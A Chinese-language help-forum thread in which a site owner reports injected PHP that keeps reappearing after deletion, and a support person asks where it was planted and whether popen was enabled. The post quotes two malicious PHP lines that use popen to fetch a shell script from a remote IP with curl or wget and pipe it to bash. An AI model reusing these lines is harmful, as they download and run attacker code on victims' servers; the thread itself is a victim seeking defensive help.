【已回应】给挂马，删也删不掉！怎么处理？

大家好！给挂马，删也删不掉！怎么处理？有安装Nginx防火墙 2.3


<?php $handle = popen("curl -s http://192.99.142.246:8220/mr.sh | bash -sh","r");?>;


<?php $handle = popen("wget -q -O - http://192.99.142.246:8220/mr.sh | bash -sh","r");?>;


打开的文件是这样子的

你这个挂马是在哪个文件植入的？
你是怎么删除的 在代码中删除还是直接删除文件？
另外面板默认已禁用popen函数，你是否有开启这个函数？

您好，全部是按系统设置的哦。我是直接在FTP删，删了刷新又有，在宝塔后台删PHP文件，删了刷新也有。

另外面板默认已禁用popen函数，你是否有开启这个函数？


这个函数在哪里看的呢？

河妖 发表于 2018-10-10 15:42
你这个挂马是在哪个文件植入的？
你是怎么删除的 在代码中删除还是直接删除文件？
另外面板默认已禁用popen ...

您好，全部是按系统设置的哦。我是直接在FTP删，删了刷新又有，在宝塔后台删PHP文件，删了刷新也有。

另外面板默认已禁用popen函数，你是否有开启这个函数？


这个函数在哪里看的呢？